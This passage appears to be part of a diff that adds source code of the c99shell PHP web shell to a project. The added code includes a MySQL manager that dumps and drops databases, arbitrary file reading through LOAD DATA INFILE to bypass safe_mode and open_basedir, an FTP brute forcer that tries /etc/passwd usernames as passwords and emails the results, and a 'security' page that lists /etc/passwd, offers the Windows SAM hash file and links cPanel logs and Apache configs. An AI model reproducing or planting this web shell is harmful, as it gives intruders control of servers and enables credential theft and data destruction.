value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr> + <td width="30%" height="1"><b>Create a new table:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td> + + <td width="30%" height="1"><b>Dump DataBase:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "[Pages]&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>?/b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DataBase:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>FTP Brute Forcer: </b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server Information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "</br><b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a 